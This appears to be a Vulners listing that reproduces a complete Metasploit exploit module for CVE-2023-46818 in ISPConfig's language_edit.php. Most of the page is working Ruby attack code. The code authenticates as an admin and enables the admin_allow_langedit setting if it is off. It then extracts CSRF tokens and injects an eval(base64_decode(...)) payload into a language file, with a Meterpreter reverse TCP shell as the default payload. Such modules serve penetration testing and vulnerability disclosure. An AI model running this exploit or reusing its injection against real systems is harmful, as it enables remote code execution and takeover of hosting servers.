Lucene search
K

ISPConfig language_edit.php PHP Code Injection

🗓️ 09 Jul 2025 18:55:35Reported by syfi, Egidio RomanoType 
metasploit
 metasploit
🔗 www.rapid7.com👁 584 Views

Exploits ISPConfig language_edit script code injection via admin_allow_langedit to write payload.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Ispconfig
2 May 202504:51
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Backdropcms Backdrop_Cms
27 Apr 202517:54
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
13 Apr 202519:12
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
28 May 202515:18
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
6 Sep 202502:27
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
14 Jun 202513:38
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
31 Jul 202521:32
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
8 Oct 202411:22
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
14 Jun 202513:38
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
13 Apr 202514:55
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ISPConfig language_edit.php PHP Code Injection',
        'Description' => %q{
          This module exploits a PHP code injection vulnerability in ISPConfig's
          language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
          setting is enabled, allowing authenticated administrators to inject arbitrary
          PHP code through the language editor interface.

          This module will automatically check if the required `admin_allow_langedit`
          permission is enabled, and attempt to enable it if it's disabled (requires
          admin credentials with system configuration access).

          The exploit works by injecting a PHP payload into a language file, which
          is then executed when the file is accessed. The payload is base64 encoded
          and written using PHP's file_put_contents function.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'syfi', # Discovery and PoC
          'Egidio Romano'
        ],
        'References' => [
          ['CVE', '2023-46818'],
          ['URL', 'https://github.com/SyFi/CVE-2023-46818'],
          ['URL', 'https://karmainsecurity.com/KIS-2023-13'],
          ['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
        ],
        'Platform' => 'php',
        'Targets' => [
          [
            'Automatic PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2023-10-24',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
      OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
      OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
    ])
  end

  def check
    print_status('Checking if the target is ISPConfig...')
    return CheckCode::Unknown('Failed to login') unless authenticate

    # Always try to log in and parse version, since credentials are required
    # cookie_jar.clear (handled in exploit)
    # Try to access the dashboard or settings page
    settings_res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
      'keep_cookies' => true
    })
    if settings_res
      doc = settings_res.get_html_document
      # Try to find version in a span, div, or similar element
      version_element = doc.at('//p[@class="frmTextHead"]')
      if version_element
        version_text = version_element.text
        version = version_text.split(':')[1].gsub(' ', '')
        version = Rex::Version.new(version)
        if version < Rex::Version.new('3.2.11p1')
          print_good("ISPConfig version detected: #{version_text}")
          return CheckCode::Appears("Version: #{version_text}")
        end
      end
    end
    CheckCode::Safe("Version #{version} is not vulnerable")
  end

  def authenticate
    print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login/'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        's_mod' => 'login'
      },
      'keep_cookies' => true
    })
    return false unless res

    if res&.code == 302
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
      })
    end
    body_downcase = res.body.downcase.freeze
    return false if body_downcase.include?('username or password wrong')

    if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
      print_good('Login successful!')
      return true
    end
    print_warning('Login status unclear, attempting to continue...')
    true
  end

  def check_langedit_permission
    print_status('Checking if admin_allow_langedit is enabled...')

    # Try to access the language editor to see if it's accessible
    edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => edit_url,
      'keep_cookies' => true
    })

    if res&.code == 200 && res.body.include?('language_edit')
      print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
      return true
    elsif res&.code == 403
      print_warning('Language editor access denied - admin_allow_langedit may be disabled')
      return false
    else
      print_warning('Could not determine language editor accessibility')
      return false
    end
  end

  def enable_langedit_permission
    print_status('Attempting to enable admin_allow_langedit...')

    # Try to access the system settings page
    settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => settings_url,
      'keep_cookies' => true
    })

    unless res && res.code == 200
      print_warning('Could not access system configuration page')
      return false
    end

    doc = res.get_html_document
    csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
    csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')

    unless csrf_id && csrf_key
      print_warning('Could not extract CSRF tokens from system config page')
      return false
    end

    # Try to enable the setting
    enable_data = {
      '_csrf_id' => csrf_id,
      '_csrf_key' => csrf_key,
      'admin_allow_langedit' => '1',
      'action' => 'save'
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => settings_url,
      'vars_post' => enable_data,
      'keep_cookies' => true
    })

    if res&.code == 200
      print_good('Successfully enabled admin_allow_langedit')
      return true
    else
      print_warning('Failed to enable admin_allow_langedit')
      return false
    end
  end

  def inject_payload
    print_status('Injecting PHP payload...')
    @payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
    b64_payload = Base64.strict_encode64(payload.encoded)
    injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
    lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
    edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
    initial_data = {
      'lang' => 'en',
      'module' => 'help',
      'lang_file' => lang_file
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => edit_url,
      'vars_post' => initial_data,
      'keep_cookies' => true
    })
    fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
    doc = res.get_html_document
    csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
    csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
    unless csrf_id && csrf_key
      fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
    end
    print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
    injection_data = {
      'lang' => 'en',
      'module' => 'help',
      'lang_file' => lang_file,
      '_csrf_id' => csrf_id,
      '_csrf_key' => csrf_key,
      'records[\]' => injection
    }
    send_request_cgi({
      'method' => 'POST',
      'uri' => edit_url,
      'vars_post' => injection_data,
      'keep_cookies' => true
    })
  end

  def exploit
    cookie_jar.clear
    fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate

    # Check if language editor permissions are enabled
    unless check_langedit_permission
      print_warning('admin_allow_langedit appears to be disabled')
      print_status('Attempting to enable admin_allow_langedit...')

      if enable_langedit_permission
        print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
        # Re-check permissions after enabling
        unless check_langedit_permission
          fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
        end
      else
        fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
      end
    end

    inject_payload
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 19:05Current
7High risk
Vulners AI Score7
CVSS 3.17.2
EPSS0.13894
SSVC
584